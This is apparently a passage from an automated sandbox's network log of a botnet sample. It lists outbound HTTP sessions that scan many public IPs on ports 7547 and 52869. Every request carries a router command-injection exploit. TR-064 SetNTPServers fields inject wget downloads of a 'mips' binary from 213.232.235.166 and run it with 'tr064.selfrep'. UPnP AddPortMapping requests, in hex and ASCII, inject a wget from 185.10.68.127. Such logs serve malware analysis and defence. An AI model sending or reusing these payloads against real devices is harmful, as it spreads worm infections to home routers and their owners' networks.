Apr 15, 2024 08:53:10.442332983 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
727	192.168.2.13	52446	86.177.99.207	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:10.455008030 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
728	192.168.2.13	56890	118.210.102.135	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:10.482765913 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:10.816360950 CEST	197	IN	HTTP/1.1 404 Not Found Date: Mon Apr 15 16:53:10 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
729	192.168.2.13	33258	74.134.70.250	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:10.594808102 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
730	192.168.2.13	54710	75.187.139.165	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:10.646711111 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
731	192.168.2.13	56248	45.43.225.196	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:10.681094885 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:14.848464966 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:20.992448092 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:33.024415970 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:58.624366045 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
732	192.168.2.13	37826	181.41.86.210	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:10.686192036 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
733	192.168.2.13	57816	118.63.64.113	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:10.722790003 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
734	192.168.2.13	55106	121.183.250.44	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:10.723900080 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
735	192.168.2.13	40924	119.213.83.228	7547

Timestamp	Bytes transferred	Direction	Data
